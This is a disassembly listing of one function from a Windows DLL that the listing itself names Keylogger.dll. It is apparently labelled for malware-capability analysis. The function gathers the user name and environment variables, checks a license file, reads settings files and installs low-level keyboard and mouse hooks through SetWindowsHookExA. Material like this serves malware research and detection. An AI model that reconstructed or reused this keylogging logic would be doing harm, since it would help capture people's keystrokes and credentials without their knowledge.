Function at 0x180107958
Capabilities:
Get session user name
Log keystrokes via application hook
Query environment variable

Disassembly:
jmp 0x180136300
push rbp
push rdi
mov eax, 0x3298
call fcn.18010cd72
sub rsp, rax
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0xca6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rbp + 0x3238], 0xfffffffffffffffe
mov rax, qword [0x1803bb0a8]
xor rax, rbp
mov qword [rbp + 0x3248], rax
lea rcx, [0x1803e7045]
call fcn.18010520c
lea rcx, [rbp + 8]
call fcn.18010cb24
nop
lea rcx, [rbp + 0x48]
call fcn.18010cb24
nop
lea rcx, [rbp + 0x88]
call fcn.18010cb24
nop
mov dword [rbp + 0x25b4], 0x1e
lea rdx, [rbp + 0x25b4]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x18013639d
mov eax, dword [0x1803bfa54]
inc eax
mov dword [0x1803bfa54], eax
mov r8d, 0xbb8
lea rdx, [rbp + 0x19e0]
lea rcx, str.COMPUTERNAME
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x1801363ca
mov eax, dword [0x1803bfa54]
add eax, 2
mov dword [0x1803bfa54], eax
mov r8d, 0xbb8
lea rdx, [rbp + 0xe00]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x1801363f7
mov eax, dword [0x1803bfa54]
add eax, 3
mov dword [0x1803bfa54], eax
mov edx, 0x110
lea rcx, [rbp + 0x25e0]
call fcn.18010a009
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.License.sys
lea rcx, [rbp + 0x25e0]
call fcn.18010a6e4
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rcx, [rbp + 0x25e0]
call fcn.18010a4b9
lea rdx, str.DA_7241_BOFS_2002
lea rcx, [rbp + 8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801364c3
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x48]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801364c3
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x88]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801364c3
mov dword [0x1803bff38], 1
jmp 0x1801364cd
mov dword [0x1803bff38], 0
mov r9d, 0x40
mov r8d, 1
lea rdx, str.Setting.ini
lea rcx, [rbp + 0x25e0]
call fcn.18010c90d
mov rax, qword [rbp + 0x25e0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x25e0]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180136b04
call fcn.18010649f
mov edx, 0x108
lea rcx, [rbp + 0x2710]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Setting.ini
lea rcx, [rbp + 0x2710]
call fcn.1801070f7
nop
lea rdx, str.CAIOS__KeyboardHook___Setting.ini_n
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.1100
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp dword [0x1803bff38], 0
jne 0x1801365c1
lea rdx, [0x1803358b0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x1801365e3
lea rdx, str.1600
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335930]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335968]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803359a0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335a30]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335a68]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335aa0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335ad8]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335b10]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335bb0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2609
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2610
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2611_10
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2612
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2613_WindowsOS
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335e40]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335ea0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335f30]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335fd0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2704
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336130]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336178]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1801062ba]
lea rcx, [rbp + 0x2710]
call fcn.1801088d5
lea rdx, [0x1803361c0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336210]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336280]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803362d8]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336320]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336390]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803363f0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336450]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803364d0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336560]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803365e0]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336650]
lea rcx, [rbp + 0x2710]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x2710]
call fcn.18010c813
lea rdx, [0x180334130]
lea rcx, [0x1803c1398]
call fcn.18010521b
lea rdx, [0x180334130]
lea rcx, [0x1803c1578]
call fcn.18010521b
lea rdx, [0x18033412c]
lea rcx, [0x1803c1488]
call fcn.18010521b
lea rdx, [0x180334130]
lea rcx, [0x1803c1860]
call fcn.18010521b
lea rdx, [0x180334130]
lea rcx, [0x1803c1720]
call fcn.18010521b
lea rdx, [0x180334130]
lea rcx, [0x1803c15c8]
call fcn.18010521b
lea rdx, [0x180334130]
lea rcx, [0x1803c1888]
call fcn.18010521b
mov dword [section..data], 0x1e
lea rcx, [rbp + 0x2710]
call fcn.180107f70
jmp 0x1801374fd
lea rcx, [rbp + 0x2838]
call fcn.18010cb24
nop
mov dword [rbp + 0x2874], 0
lea rdx, [rbp + 0x2838]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [rbp + 0x2838]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [rbp + 0x2838]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [rbp + 0x2838]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1398]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1578]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1488]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1860]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1720]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c15c8]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1888]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c14b0]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1550]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c16f8]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1460]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c14d8]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c18b0]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1438]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1748]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1838]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1798]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c15a0]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c13e8]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1410]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rdx, [0x1803c1528]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1398]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136d34
lea rdx, [0x180334130]
lea rcx, [0x1803c1398]
call fcn.18010521b
jmp 0x180136d96
lea rdx, [0x18033412c]
lea rcx, [0x1803c1398]
call fcn.18010521b
mov dword [rbp + 0x31b4], 1
lea rcx, [rbp + 0x2838]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x25e0]
call fcn.1801048e3
nop
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x31b4]
jmp 0x180137966
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1578]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136dd4
lea rdx, [0x180334130]
lea rcx, [0x1803c1578]
call fcn.18010521b
jmp 0x180136de7
lea rdx, [0x18033412c]
lea rcx, [0x1803c1578]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1488]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136e48
cmp dword [0x1803bff38], 1
jne 0x180136e48
lea rdx, [0x180334130]
lea rcx, [0x1803c1578]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180136e48
lea rdx, [0x180334130]
lea rcx, [0x1803c1488]
call fcn.18010521b
jmp 0x180136e5b
lea rdx, [0x18033412c]
lea rcx, [0x1803c1488]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1860]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136e99
lea rdx, [0x180334130]
lea rcx, [0x1803c1860]
call fcn.18010521b
jmp 0x180136eac
lea rdx, [0x18033412c]
lea rcx, [0x1803c1860]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1720]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136eea
lea rdx, [0x180334130]
lea rcx, [0x1803c1720]
call fcn.18010521b
jmp 0x180136efd
lea rdx, [0x18033412c]
lea rcx, [0x1803c1720]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c15c8]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136f3b
lea rdx, [0x180334130]
lea rcx, [0x1803c15c8]
call fcn.18010521b
jmp 0x180136f4e
lea rdx, [0x18033412c]
lea rcx, [0x1803c15c8]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1888]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136f8c
lea rdx, [0x180334130]
lea rcx, [0x1803c1888]
call fcn.18010521b
jmp 0x180136f9f
lea rdx, [0x18033412c]
lea rcx, [0x1803c1888]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c14b0]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180136fe6
cmp dword [0x1803bff38], 1
jne 0x180136fe6
lea rdx, [0x180334130]
lea rcx, [0x1803c14b0]
call fcn.18010521b
jmp 0x180136ff9
lea rdx, [0x18033412c]
lea rcx, [0x1803c14b0]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c16f8]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180137040
cmp dword [0x1803bff38], 1
jne 0x180137040
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010521b
jmp 0x180137053
lea rdx, [0x18033412c]
lea rcx, [0x1803c16f8]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1460]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x1801370ab
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801370ab
lea rdx, [0x180334130]
lea rcx, [0x1803c1460]
call fcn.18010521b
jmp 0x1801370be
lea rdx, [0x18033412c]
lea rcx, [0x1803c1460]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c14d8]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180137116
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180137116
lea rdx, [0x180334130]
lea rcx, [0x1803c14d8]
call fcn.18010521b
jmp 0x180137129
lea rdx, [0x18033412c]
lea rcx, [0x1803c14d8]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c18b0]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180137181
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180137181
lea rdx, [0x180334130]
lea rcx, [0x1803c18b0]
call fcn.18010521b
jmp 0x180137194
lea rdx, [0x18033412c]
lea rcx, [0x1803c18b0]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1438]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x1801371ec
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801371ec
lea rdx, [0x180334130]
lea rcx, [0x1803c1438]
call fcn.18010521b
jmp 0x1801371ff
lea rdx, [0x18033412c]
lea rcx, [0x1803c1438]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1550]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180137246
cmp dword [0x1803bff38], 1
jne 0x180137246
lea rdx, [0x180334130]
lea rcx, [0x1803c1550]
call fcn.18010521b
jmp 0x180137259
lea rdx, [0x18033412c]
lea rcx, [0x1803c1550]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1748]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x1801372a0
cmp dword [0x1803bff38], 1
jne 0x1801372a0
lea rdx, [0x180334130]
lea rcx, [0x1803c1748]
call fcn.18010521b
jmp 0x1801372b3
lea rdx, [0x18033412c]
lea rcx, [0x1803c1748]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1838]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x1801372fa
cmp dword [0x1803bff38], 1
jne 0x1801372fa
lea rdx, [0x180334130]
lea rcx, [0x1803c1838]
call fcn.18010521b
jmp 0x18013730d
lea rdx, [0x18033412c]
lea rcx, [0x1803c1838]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1798]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x180137365
lea rdx, [0x180334130]
lea rcx, [0x1803c1748]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180137365
lea rdx, [0x180334130]
lea rcx, [0x1803c1798]
call fcn.18010521b
jmp 0x180137378
lea rdx, [0x18033412c]
lea rcx, [0x1803c1798]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c15a0]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x1801373d0
lea rdx, [0x180334130]
lea rcx, [0x1803c1748]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801373d0
lea rdx, [0x180334130]
lea rcx, [0x1803c15a0]
call fcn.18010521b
jmp 0x1801373e3
lea rdx, [0x18033412c]
lea rcx, [0x1803c15a0]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c13e8]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x18013743b
lea rdx, [0x180334130]
lea rcx, [0x1803c1748]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18013743b
lea rdx, [0x180334130]
lea rcx, [0x1803c13e8]
call fcn.18010521b
jmp 0x18013744e
lea rdx, [0x18033412c]
lea rcx, [0x1803c13e8]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1410]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x18013748c
lea rdx, [0x180334130]
lea rcx, [0x1803c1410]
call fcn.18010521b
jmp 0x18013749f
lea rdx, [0x18033412c]
lea rcx, [0x1803c1410]
call fcn.18010521b
xor r8d, r8d
lea rdx, [0x180336684]
lea rcx, [0x1803c1528]
call fcn.18010c5de
mov dword [rbp + 0x2874], eax
movsxd rax, dword [rbp + 0x2874]
cmp rax, 0xffffffffffffffff
je 0x1801374dd
lea rdx, [0x180334130]
lea rcx, [0x1803c1528]
call fcn.18010521b
jmp 0x1801374f1
lea rdx, [0x18033412c]
lea rcx, [0x1803c1528]
call fcn.18010521b
nop
lea rcx, [rbp + 0x2838]
call fcn.180107ce1
lea rcx, [rbp + 0x25e0]
call fcn.18010a4b9
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180137596
mov r9d, 0x40
mov r8d, 1
lea rdx, str.mail.txt
lea rcx, [rbp + 0x25e0]
call fcn.18010c90d
mov rax, qword [rbp + 0x25e0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x25e0]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180137577
lea rdx, [0x18033412c]
lea rcx, [0x1803c16f8]
call fcn.18010521b
lea rdx, [0x1803c1810]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rcx, [rbp + 0x25e0]
call fcn.18010a4b9
lea rdx, [0x180334130]
lea rcx, [0x1803c13e8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180137698
lea rcx, [rbp + 0x2898]
call fcn.18010cb24
nop
mov r9d, 0x40
mov r8d, 1
lea rdx, str.Invalid_Key.txt
lea rcx, [rbp + 0x25e0]
call fcn.18010c90d
mov rax, qword [rbp + 0x25e0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x25e0]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180137615
lea rdx, [0x18033412c]
lea rcx, [0x1803c13e8]
call fcn.18010521b
mov rax, qword [rbp + 0x25e0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x25e0]
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x18013767f
lea rdx, [rbp + 0x2898]
lea rcx, [rbp + 0x25e0]
call fcn.18010b8c8
lea rcx, [rbp + 0x2898]
call fcn.18010b01c
mov rcx, rax
call fcn.18010767e
movsxd rcx, dword [0x1803bfa5c]
lea rdx, [0x1803bfa60]
mov dword [rdx + rcx*4], eax
mov eax, dword [0x1803bfa5c]
inc eax
mov dword [0x1803bfa5c], eax
jmp 0x180137615
lea rcx, [rbp + 0x25e0]
call fcn.18010a4b9
nop
lea rcx, [rbp + 0x2898]
call fcn.180107ce1
xor r9d, r9d
mov r8, qword [0x1803bff18]
lea rdx, [fcn.180106b75]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x1803e6018], rax
xor r9d, r9d
mov r8, qword [0x1803bff18]
lea rdx, [0x18010a996]
mov ecx, 5
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [section.DATA_SEG], rax
lea rdx, [0x180334130]
lea rcx, [0x1803c1860]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18013780a
xor r9d, r9d
mov r8, qword [0x1803bff18]
lea rdx, [0x180109f0f]
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x1803e6010], rax
cmp qword [0x1803e6018], 0
je 0x180137737
cmp qword [0x1803e6010], 0
jne 0x180137805
mov qword [rbp + 0x28d8], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rbp + 0x28d8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1100
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov rcx, qword [rbp + 0x28d8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r9, qword [rbp + 0x28d8]
lea r8, [0x1803366b8]
mov edx, 0x12c
lea rcx, [rbp + 0x2900]
call fcn.18010c868
mov r9d, 0x10
lea r8, str.SetHook
lea rdx, [rbp + 0x2900]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 0x31d4], 0xffffffff
lea rcx, [rbp + 0x25e0]
call fcn.1801048e3
nop
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x31d4]
jmp 0x180137966
jmp 0x1801378f2
cmp qword [0x1803e6018], 0
je 0x180137822
cmp qword [section.DATA_SEG], 0
jne 0x1801378f2
mov qword [rbp + 0x2a48], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rbp + 0x2a48]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1100
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov rcx, qword [rbp + 0x2a48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r9, qword [rbp + 0x2a48]
lea r8, [0x1803366b8]
mov edx, 0x12c
lea rcx, [rbp + 0x2a70]
call fcn.18010c868
mov r9d, 0x10
lea r8, str.SetHook
lea rdx, [rbp + 0x2a70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call sym.Keylogger.dll_int___cdecl_FreeHook_void_
mov dword [rbp + 0x31f4], 0xffffffff
lea rcx, [rbp + 0x25e0]
call fcn.1801048e3
nop
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x31f4]
jmp 0x180137966
mov r8d, 0x46
mov edx, 0x46
mov ecx, 0xa
call fcn.180106b75
lea rdx, [0x1803366e4]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov dword [rbp + 0x3214], 0
lea rcx, [rbp + 0x25e0]
call fcn.1801048e3
nop
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x3214]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x18032da58]
call fcn.18010bfdf
mov rax, rdi
mov rcx, qword [rbp + 0x3248]
xor rcx, rbp
call fcn.180105df6
lea rsp, [rbp + 0x3258]
pop rdi
pop rbp
ret